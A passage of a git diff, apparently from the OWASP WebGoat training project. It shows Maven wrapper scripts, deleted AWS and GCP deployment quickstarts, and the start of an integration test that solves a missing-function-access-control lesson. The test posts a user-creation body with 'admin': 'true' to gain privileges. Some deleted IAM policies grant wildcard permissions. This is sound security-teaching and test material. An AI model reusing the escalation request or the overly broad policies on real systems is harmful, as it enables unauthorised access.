[ -n "$JAVA_HOME" ] &&
JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
fi
if [ -z "$JAVA_HOME" ]; then
javaExecutable="`which javac`"
if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
# readlink(1) is not available as standard on Solaris 10.
readLink=`which readlink`
if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
if $darwin ; then
javaHome="`dirname \"$javaExecutable\"`"
javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
else
javaExecutable="`readlink -f \"$javaExecutable\"`"
fi
javaHome="`dirname \"$javaExecutable\"`"
javaHome=`expr "$javaHome" : '\(.*\)/bin'`
JAVA_HOME="$javaHome"
export JAVA_HOME
fi
fi
fi
if [ -z "$JAVACMD" ] ; then
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD="$JAVA_HOME/jre/sh/java"
else
JAVACMD="$JAVA_HOME/bin/java"
fi
else
JAVACMD="`which java`"
fi
fi
if [ ! -x "$JAVACMD" ] ; then
echo "Error: JAVA_HOME is not defined correctly." >&2
echo " We cannot execute $JAVACMD" >&2
exit 1
fi
if [ -z "$JAVA_HOME" ] ; then
echo "Warning: JAVA_HOME environment variable is not set."
fi
CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
# traverses directory structure from process work directory to filesystem root
# first directory with .mvn subdirectory is considered project base directory
find_maven_basedir() {
if [ -z "$1" ]
then
echo "Path not specified to find_maven_basedir"
return 1
fi
basedir="$1"
wdir="$1"
while [ "$wdir" != '/' ] ; do
if [ -d "$wdir"/.mvn ] ; then
basedir=$wdir
break
fi
# workaround for JBEAP-8937 (on Solaris 10/Sparc)
if [ -d "${wdir}" ]; then
wdir=`cd "$wdir/.."; pwd`
fi
# end of workaround
done
echo "${basedir}"
}
# concatenates all lines of a file
concat_lines() {
if [ -f "$1" ]; then
echo "$(tr -s '\n' ' ' < "$1")"
fi
}
BASE_DIR=`find_maven_basedir "$(pwd)"`
if [ -z "$BASE_DIR" ]; then
exit 1;
fi
##########################################################################################
# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
# This allows using the maven wrapper in projects that prohibit checking in binary data.
##########################################################################################
if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found .mvn/wrapper/maven-wrapper.jar"
fi
else
if [ "$MVNW_VERBOSE" = true ]; then
echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..."
fi
if [ -n "$MVNW_REPOURL" ]; then
jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
else
jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
fi
while IFS="=" read key value; do
case "$key" in (wrapperUrl) jarUrl="$value"; break ;;
esac
done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties"
if [ "$MVNW_VERBOSE" = true ]; then
echo "Downloading from: $jarUrl"
fi
wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar"
if $cygwin; then
wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"`
fi
if command -v wget > /dev/null; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found wget ... using wget"
fi
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
wget "$jarUrl" -O "$wrapperJarPath"
else
wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath"
fi
elif command -v curl > /dev/null; then
if [ "$MVNW_VERBOSE" = true ]; then
echo "Found curl ... using curl"
fi
if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then
curl -o "$wrapperJarPath" "$jarUrl" -f
else
curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
fi
else
if [ "$MVNW_VERBOSE" = true ]; then
echo "Falling back to using Java to download"
fi
javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java"
# For Cygwin, switch paths to Windows format before running javac
if $cygwin; then
javaClass=`cygpath --path --windows "$javaClass"`
fi
if [ -e "$javaClass" ]; then
if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
if [ "$MVNW_VERBOSE" = true ]; then
echo " - Compiling MavenWrapperDownloader.java ..."
fi
# Compiling the Java class
("$JAVA_HOME/bin/javac" "$javaClass")
fi
if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then
# Running the downloader
if [ "$MVNW_VERBOSE" = true ]; then
echo " - Running MavenWrapperDownloader.java ..."
fi
("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR")
fi
fi
fi
fi
##########################################################################################
# End of extension
##########################################################################################
export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
if [ "$MVNW_VERBOSE" = true ]; then
echo $MAVEN_PROJECTBASEDIR
fi
MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
# For Cygwin, switch paths to Windows format before running java
if $cygwin; then
[ -n "$M2_HOME" ] &&
M2_HOME=`cygpath --path --windows "$M2_HOME"`
[ -n "$JAVA_HOME" ] &&
JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
[ -n "$CLASSPATH" ] &&
CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
[ -n "$MAVEN_PROJECTBASEDIR" ] &&
MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
fi
# Provide a "standardized" way to retrieve the CLI args that will
# work with both Windows and non-Windows executions.
MAVEN_CMD_LINE_ARGS="$MAVEN_CONFIG $@"
export MAVEN_CMD_LINE_ARGS
WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
exec "$JAVACMD" \
$MAVEN_OPTS \
-classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
"-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"

182
mvnw.cmd vendored Normal file
View File

@ -0,0 +1,182 @@
@REM ----------------------------------------------------------------------------
@REM Licensed to the Apache Software Foundation (ASF) under one
@REM or more contributor license agreements. See the NOTICE file
@REM distributed with this work for additional information
@REM regarding copyright ownership. The ASF licenses this file
@REM to you under the Apache License, Version 2.0 (the
@REM "License"); you may not use this file except in compliance
@REM with the License. You may obtain a copy of the License at
@REM
@REM http://www.apache.org/licenses/LICENSE-2.0
@REM
@REM Unless required by applicable law or agreed to in writing,
@REM software distributed under the License is distributed on an
@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
@REM KIND, either express or implied. See the License for the
@REM specific language governing permissions and limitations
@REM under the License.
@REM ----------------------------------------------------------------------------
@REM ----------------------------------------------------------------------------
@REM Maven2 Start Up Batch script
@REM
@REM Required ENV vars:
@REM JAVA_HOME - location of a JDK home dir
@REM
@REM Optional ENV vars
@REM M2_HOME - location of maven2's installed home dir
@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending
@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
@REM e.g. to debug Maven itself, use
@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
@REM ----------------------------------------------------------------------------
@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
@echo off
@REM set title of command window
title %0
@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'
@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
@REM set %HOME% to equivalent of $HOME
if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
@REM Execute a user defined script before this one
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
@REM check for pre script, once with legacy .bat ending and once with .cmd ending
if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
:skipRcPre
@setlocal
set ERROR_CODE=0
@REM To isolate internal variables from possible post scripts, we use another setlocal
@setlocal
@REM ==== START VALIDATION ====
if not "%JAVA_HOME%" == "" goto OkJHome
echo.
echo Error: JAVA_HOME not found in your environment. >&2
echo Please set the JAVA_HOME variable in your environment to match the >&2
echo location of your Java installation. >&2
echo.
goto error
:OkJHome
if exist "%JAVA_HOME%\bin\java.exe" goto init
echo.
echo Error: JAVA_HOME is set to an invalid directory. >&2
echo JAVA_HOME = "%JAVA_HOME%" >&2
echo Please set the JAVA_HOME variable in your environment to match the >&2
echo location of your Java installation. >&2
echo.
goto error
@REM ==== END VALIDATION ====
:init
@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
@REM Fallback to current working directory if not found.
set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
set EXEC_DIR=%CD%
set WDIR=%EXEC_DIR%
:findBaseDir
IF EXIST "%WDIR%"\.mvn goto baseDirFound
cd ..
IF "%WDIR%"=="%CD%" goto baseDirNotFound
set WDIR=%CD%
goto findBaseDir
:baseDirFound
set MAVEN_PROJECTBASEDIR=%WDIR%
cd "%EXEC_DIR%"
goto endDetectBaseDir
:baseDirNotFound
set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
cd "%EXEC_DIR%"
:endDetectBaseDir
IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
@setlocal EnableExtensions EnableDelayedExpansion
for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
:endReadAdditionalConfig
SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
set DOWNLOAD_URL="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
FOR /F "tokens=1,2 delims==" %%A IN ("%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.properties") DO (
IF "%%A"=="wrapperUrl" SET DOWNLOAD_URL=%%B
)
@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central
@REM This allows using the maven wrapper in projects that prohibit checking in binary data.
if exist %WRAPPER_JAR% (
if "%MVNW_VERBOSE%" == "true" (
echo Found %WRAPPER_JAR%
)
) else (
if not "%MVNW_REPOURL%" == "" (
SET DOWNLOAD_URL="%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar"
)
if "%MVNW_VERBOSE%" == "true" (
echo Couldn't find %WRAPPER_JAR%, downloading it ...
echo Downloading from: %DOWNLOAD_URL%
)
powershell -Command "&{"^
"$webclient = new-object System.Net.WebClient;"^
"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {"^
"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');"^
"}"^
"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')"^
"}"
if "%MVNW_VERBOSE%" == "true" (
echo Finished downloading %WRAPPER_JAR%
)
)
@REM End of extension
@REM Provide a "standardized" way to retrieve the CLI args that will
@REM work with both Windows and non-Windows executions.
set MAVEN_CMD_LINE_ARGS=%*
%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
if ERRORLEVEL 1 goto error
goto end
:error
set ERROR_CODE=1
:end
@endlocal & set ERROR_CODE=%ERROR_CODE%
if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
@REM check for post script, once with legacy .bat ending and once with .cmd ending
if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
:skipRcPost
@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
if "%MAVEN_BATCH_PAUSE%" == "on" pause
if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
exit /B %ERROR_CODE%

View File

@ -1,31 +0,0 @@
# AWS
- This contains the various platform Quick Starts for Getting WebGoat Deployed into AWS.
- This IaaS quickstart uses AWS CloudFormation to perform most of the provisioning
- This IaaS quickstart is composed of three independent bundles
- Code pipeline and Build
- Deploying to EC2
- Deploying to ECS
It is Assumed:
- You have an AWS Account
- You know what an S3 bucket is
- You have seen the IAM console and have permissions to create IAM Roles
## Code Pipeline and Build
This Quickstart is for those that just want to perform builds with AWS. It Triggers off of Github to perform builds of `webgoat-server`
## EC2
(WIP) This uses AWS CodePipeline, CodeBuild, and CodeDeploy to land WebGoat to Running EC2 instances
## ECS
(WIP) This uses AWS CodePipeline, CodeBuild, ECR, to land a container onto an ECS cluster

View File

@ -1,101 +0,0 @@
{
"AWSTemplateFormatVersion": "2010-09-09",
"Description": "IAM Roles for Code Build WebGoat IaaS Quickstart",
"Parameters": {
"qsS3BucketName": {
"Description": "Name of the S3 Bucket for artifacts",
"Type": "String",
"MinLength": "1"
},
"qsRoleName": {
"Description": "Name of the IAM role that CodeBuild Will Use",
"Type": "String",
"Default": "SimpleCodeBuildRole",
"MinLength": "1"
}
},
"Resources": {
"qsCodeBuildRole": {
"Type": "AWS::IAM::Role",
"Properties": {
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": [
"codebuild.amazonaws.com"
]
},
"Action": [
"sts:AssumeRole"
]
}
]
},
"Path": "/webgoat/",
"RoleName": {
"Ref": "qsRoleName"
},
"ManagedPolicyArns": [
"arn:aws:iam::aws:policy/AWSCodeCommitFullAccess",
"arn:aws:iam::aws:policy/AWSCodeBuildDeveloperAccess",
"arn:aws:iam::aws:policy/AWSCodeDeployDeployerAccess"
],
"Policies": [
{
"PolicyName": "CloudWatchLogs",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Resource": [
{"Fn::Join": [ "",["arn:aws:logs:*:", { "Ref": "AWS::AccountId" }, ":log-group:/aws/codebuild*" ] ]}
],
"Action": [
"logs:CreateLogGroup",
"logs:CreateLogStream",
"logs:PutLogEvents"
]
}
]
}
},
{
"PolicyName": "S3buckets",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Resource": [
{
"Fn::Join": [
"",
[
"arn:aws:s3:::",
{
"Ref": "qsS3BucketName"
},
"*"
]
]
},
"arn:aws:s3:::codepipeline-*"
],
"Action": [
"s3:Put*",
"s3:Get*",
"s3:List*"
]
}
]
}
}
]
}
}
}
}

View File

@ -1,127 +0,0 @@
{
"AWSTemplateFormatVersion": "2010-09-09",
"Description": "IAM Role for Code Pipeline WebGoat IaaS Quickstart",
"Parameters": {
"qsS3BucketName": {
"Description": "Name of the S3 Bucket for artifacts",
"Type": "String",
"MinLength": "1"
},
"qsRoleName": {
"Description": "Name of the IAM role that CodePipeline Will Use",
"Type": "String",
"Default": "SimpleCodePipelineRole",
"MinLength": "1"
}
},
"Resources": {
"qsCodePipelineRole": {
"Type": "AWS::IAM::Role",
"Properties": {
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "",
"Effect": "Allow",
"Principal": {
"Service": "codepipeline.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Path": "/webgoat/",
"RoleName": {
"Ref": "qsRoleName"
},
"ManagedPolicyArns": [
"arn:aws:iam::aws:policy/AWSCodeCommitFullAccess",
"arn:aws:iam::aws:policy/AWSCodeBuildDeveloperAccess",
"arn:aws:iam::aws:policy/AWSCodeDeployDeployerAccess"
],
"Policies": [
{
"PolicyName": "CloudWatchLogsPipeline",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Resource": [
{"Fn::Join": [ "",["arn:aws:logs:*:", { "Ref": "AWS::AccountId" }, ":log-group:/aws/*" ] ]}
],
"Action": [
"logs:CreateLogGroup",
"logs:CreateLogStream",
"logs:PutLogEvents"
]
}
]
}
},
{
"PolicyName": "MiscComputeOpen",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Resource": "*",
"Action": [
"lambda:InvokeFunction",
"lambda:ListFunctions",
"elasticbeanstalk:*",
"ec2:*",
"elasticloadbalancing:*",
"autoscaling:*",
"cloudwatch:*",
"s3:*",
"sns:*",
"cloudformation:*",
"rds:*",
"sqs:*",
"ecs:*",
"iam:PassRole"
]
}
]
}
},
{
"PolicyName": "S3buckets",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Resource": [
{
"Fn::Join": [
"",
[
"arn:aws:s3:::",
{
"Ref": "qsS3BucketName"
},
"*"
]
]
},
"arn:aws:s3:::codepipeline-*",
"arn:aws:s3:::elasticbeanstalk*"
],
"Action": [
"s3:Put*",
"s3:Get*",
"s3:List*"
]
}
]
}
}
]
}
}
}
}

View File

@ -1,123 +0,0 @@
AWSTemplateFormatVersion: "2010-09-09"
Description: >
AWS Cloud Formation for creating an AWS CodePipeline that checks a git repo for changes and then performs a build using code build
Parameters:
qsPipelineName:
Description: The name of the AWS Code Pipeline
Type: String
Default: WG-pipeline
MinLength: 1
qsPipelineRoleARN:
Description: The complete ARN to the IAM role that code pipeline should use
Type: String
MinLength: 1
qsCodeRepo:
Description: The Repository
Type: String
MinLength: 1
qsRepoBranch:
Description: The Branch in the Repository
Type: String
MinLength: 1
qsGitHubUser:
Description: The GitHub User Id
Type: String
MinLength: 1
qsGitHubAPIToken:
Description: The GitHub Personal Access token do not use password
NoEcho: true
Type: String
MinLength: 1
qsS3PipelineArtifacts:
Description: Where Code Pipeline will state artifacts in S3
Type: String
MinLength: 1
qsS3CodeBuildArtifacts:
Description: Where Code Build will upload Artifacts can be same as codepipeline
Type: String
MinLength: 1
qsCodeBuildName:
Description: Name of the AWS Code Build
Type: String
Default: WG-mvnBuilder
MinLength: 1
qsKMSKeyARN:
Description: The KMS ARN that the IAM Role is allowed to use
Type: String
MinLength: 1
qsCodeRoleArn:
Description: The IAM Role ARN for CodePipeline and CodeDeploy
Type: String
MinLength: 1
Resources:
stkcbrCodeBuild:
Type: AWS::CodeBuild::Project
Properties:
Artifacts:
Type: CODEPIPELINE
Description: Builds WebGoat Jar using build file in repo
EncryptionKey: !Ref 'qsKMSKeyARN'
Environment:
ComputeType: BUILD_GENERAL1_SMALL
Image: aws/codebuild/java:openjdk-8
Type: LINUX_CONTAINER
Name: !Ref 'qsCodeBuildName'
ServiceRole: !Ref 'qsCodeRoleArn'
TimeoutInMinutes: 10
Source:
Type: CODEPIPELINE
stkcplPipeline:
Type: AWS::CodePipeline::Pipeline
Properties:
Name: !Ref 'qsPipelineName'
RoleArn: !Ref 'qsPipelineRoleARN'
ArtifactStore:
Location: !Ref 'qsS3PipelineArtifacts'
Type: S3
Stages:
- Name: CodeRepo
Actions:
- Name: CodeSource
ActionTypeId:
Category: Source
Owner: ThirdParty
Provider: GitHub
Version: 1
Configuration:
Branch: !Ref 'qsRepoBranch'
Repo: !Ref 'qsCodeRepo'
Owner: !Ref 'qsGitHubUser'
OAuthToken: !Ref 'qsGitHubAPIToken'
OutputArtifacts:
- Name: MySource
RunOrder: '1'
- Name: Build
Actions:
- Name: CodeBuild
ActionTypeId:
Category: Build
Owner: AWS
Provider: CodeBuild
Version: 1
InputArtifacts:
- Name: MySource
Configuration:
ProjectName: !Ref stkcbrCodeBuild
OutputArtifacts:
- Name: MyBuild
RunOrder: '2'

View File

@ -1,64 +0,0 @@
# Serverless MVN builds Featuring AWS
This Quick Start forms the basis for the other AWS quickstarts. This only BUILDS the `webgoat-server` spring boot jar. If you want to also run it on AWS skip to the other AWS quickstarts
Before you Begin
1. Do you have an AWS Account?
2. Can you create an S3 Bucket?
3. Can you create a KMS Key?
4. Do you know what Cloud Formation is?
5. Do you have enough permissions to do any real work in said AWS Account?
If you said no to any of those...hop over to [docs](https://aws.amazon.com/documentation/) and learn (but don't do) how to create those.
You will also need:
1. A GitHub Account
2. Fork of WebGoat
3. Personal access Token with `Admin:repo_hook` and `repo`
## Create Pre-requisites
First pick an AWS region and stick with it for ALL the quickstarts. This one was mostly executed on US-east-1/2 but any region with KMS, CodePipeline, and CodeBuild will work. eu-Central-1, ap-southeast-1 and sa-east-1 have reported success also.
1. Create an S3 bucket and call it something meaningfull like `webgoat-stash-username` or something or use an existing bucket you have access to.
2. Create a KMS Key. Make sure you are a key administrator so you can add key users later.
## Deploy IAM role Cloud Formation Stacks
In this folder there are two json cloudformation templates:
-`01_IAM_codebuild.json`
-`01_IAM_codepipeline.json`
You will use the CloudFormation templates to create two roles. One for CodePipeline and the Other for CodeBuild. You will use the name of the bucket you just created as a parameter.
## Update KMS Key
Access the KMS key you created earlier...add the two IAM roles you just created and Key Users
## Finally the Pipeline
You will use the yaml cloudformation template `01_codepiplinebuild.yml` to create the code building pipeline.
Some of the parameters you will need to pass:
1. The S3 bucket (twice)
2. The Github Branch name (master? develop? yourbranchname?)
3. The Github user (if you forked it would be your username)
4. You personal access token for GitHub
5. The name or the repo (WebGoat! ...unless you renamed and did a whole bunch of fancy git magic)
6. The ARN of the KMS key
7. The ARN of the role for the codebuild for parameter qsCodeRoleArn
8. The ARN for codepipeline
If this Stack successfully deploys a build will begin based on the latest commit automatically. You will have a funky named zip file (without the .zip ending) in a folder in the S3 bucket in a few minutes.
Congratulations. You just Deployed a two step AWS Codepipeline that looks for codechanges and then performs a build.
... ON to the next AWS Quickstart

View File

@ -1,80 +0,0 @@
# GKE - DockerHub
This Quickstart shows how to create a Kubernettes Cluster using Google Cloud Platform's [GKE](https://cloud.google.com/container-engine/) and WebGoat's Docker [Image](https://hub.docker.com/r/webgoat/webgoat-8.0/).
To be Successfull with this Quickstart
1. You have a Google Cloud Platform account and have enough access rights to create Compute Engine and Container Engine Resources
2. You know how to `git clone`
3. You have the gcloud SDK install and initialized somewhere ( do not use the google cloud shell)
Remeber to perform a 'gcloud auth login' before using the gcloud commands below.
## Create Kubernettes Cluster
You can create a cluster using the Google Cloud Console. The Default settings will suffice. For this QuickStart the cluster name used is `owaspbasiccluster`. The `PROJECTNAME` is whatever your project is. The `REGION` is a region/zone near you.
If you want to use the gcloud sdk from a properly initialized gcloud commandline environment use the following command
```
gcloud container --project "PROJECTNAME" clusters create "owaspbasiccluster" --zone "REGION" --machine-type "n1-standard-1" --image-type "COS" --disk-size "100" --scopes "https://www.googleapis.com/auth/compute","https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/cloud-platform","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append","https://www.googleapis.com/auth/source.read_only" --num-nodes "3" --network "default" --enable-cloud-logging --no-enable-cloud-monitoring
```
The command creates a similar cluster with more of the options set explicitly.
## Set up Kubectl
Using the commandline gcloud SDK environment you need to set-up 'kubectl'
If you have not already installed 'Kubectl' you can do so with the following command using `gcloud`
- `gcloud components install kubectl`
Then you just run:
- `gcloud container clusters get-credentials owaspbasiccluster --zone REGION --project PROJECTNAME`
## Deploy WebGoat Deployment
Time to deploy the latest DockerImage for WebGoat!
Let's First Make a namespace for this:
- `kubectl create namespace webgoat`
Now it is time to make the magic happen!
- `kubectl create -f /where_you_git_cloned_webgoat/platformQuickStart/GCP/GKE-Docker/webgoat_noDNSnoTLS.yml`
This should complete with no errors.
Use the following command to see information/status about the deployment
- `kubectl describe deployment webgoat-dpl --namespace=webgoat`
After a few minutes the service endpoint should be ready. You can check the status with
- `kubectl describe service webgoatsvc --namespace=webgoat`
In the output you should see a message like "Created load..." after a "Creating load..." which means that the public facing loadbalancer (even thou there is just one container running!) is ready.
If you want to see the Kubernetes dashboard you can run `kubectl proxy` (in a new terminal window) and then navigate to http://localhost:8001/ui .
## Test Deployment
From the previous `describe service` command the `LoadBalancer Ingress:` line should have the external IP. The line below should give the port.
So.....
[IP]:[PORT]/WebGoat in your browser!
DONE

View File

@ -1,39 +0,0 @@
---
apiVersion: v1
kind: Service
metadata:
labels:
app: webgoatapp
name: webgoatsvc
namespace: webgoat
spec:
ports:
-
port: 8080
protocol: TCP
selector:
app: webgoatapp
type: LoadBalancer
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
name: webgoat-dpl
namespace: webgoat
spec:
replicas: 1
template:
metadata:
name: webgoatapp
labels:
app: webgoatapp
spec:
containers:
-
image: webgoat/webgoat-8.0
name: webgoat
ports:
-
containerPort: 8080

View File

@ -1,17 +0,0 @@
# WebGoat on GCP!
This folder contains sub folders for the various ways you could deploy WebGoat on Google Cloud Platform
It is assumed:
1. You have a Google Cloud Platform Account
2. You can use Git
3. You can use a Linux/Mac/Google Cloud Shell
## GKE Docker
Uses GKE to run the latest DockerHub version of WebGoat8
## AppEngine
WIP

View File

@ -1,22 +0,0 @@
# OWASP WebGoat Platform Quick Starts
Want to Run WebGoat? Want to run WebGoat in the Cloud? Don't want to be cloud Expert?
Do we have a solution for you!
Additionally, Each IaaS/PaaS will have their deployment steps broken down giving the *app-guy-new-to-cloud* an opportunity to learn how said platform works.
## AWS
Multi-Part Quickstart. Starts with simple pipeline that just builds code to a deploying onto EC2 instances and then containers using ECS/ECR
## GCP
Get WebGoat Running on GKE and AppEngine

1160
pom.xml

File diff suppressed because it is too large Load Diff

View File

@ -1,21 +0,0 @@
#!/usr/bin/env bash
docker login -u $DOCKER_USER -p $DOCKER_PASS
export REPO=webgoat/webgoat-8.0
cd webgoat-server
if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then
# If we push a tag to master this will update the LATEST Docker image and tag with the version number
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} .
docker push $REPO
elif [ ! -z "${TRAVIS_TAG}" ]; then
# Creating a tag build we push it to Docker with that tag
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} .
docker push $REPO
elif [ "${BRANCH}" == "develop" ]; then
docker build -f Dockerfile -t $REPO:snapshot .
docker push $REPO
else
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
fi

View File

@ -0,0 +1,40 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat;
public record ServerUrlConfig(String host, String port, String contextPath) {
public ServerUrlConfig {
contextPath = contextPath.replaceAll("/", "");
}
public String getBaseUrl() {
return "http://%s:%s".formatted(host, port);
}
public String url(String path) {
return "%s/%s".formatted(getFullUrl(), path);
}
private String getFullUrl() {
return "http://%s:%s/%s".formatted(host, port, contextPath);
}
public static ServerUrlConfig webGoat() {
return new ServerUrlConfig(
"localhost", env("WEBGOAT_PORT", "8080"), env("WEBGOAT_CONTEXT", "WebGoat"));
}
public static ServerUrlConfig webWolf() {
return new ServerUrlConfig(
"localhost", env("WEBWOLF_PORT", "9090"), env("WEBWOLF_CONTEXT", "WebWolf"));
}
private static String env(String variableName, String defaultValue) {
return System.getenv().getOrDefault(variableName, "").isEmpty()
? defaultValue
: System.getenv(variableName);
}
}

View File

@ -0,0 +1,89 @@
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.Map;
import org.apache.http.HttpStatus;
import org.junit.jupiter.api.Test;
class AccessControlIntegrationTest extends IntegrationTest {
@Test
void testLesson() {
startLesson("MissingFunctionAC", true);
assignment1();
assignment2();
assignment3();
checkResults("MissingFunctionAC");
}
private void assignment3() {
// direct call should fail if user has not been created
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("access-control/users-admin-fix"))
.then()
.statusCode(HttpStatus.SC_FORBIDDEN);
// create user
var userTemplate =
"""
{"username":"%s","password":"%s","admin": "true"}
""";
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.body(String.format(userTemplate, this.getUser(), this.getUser()))
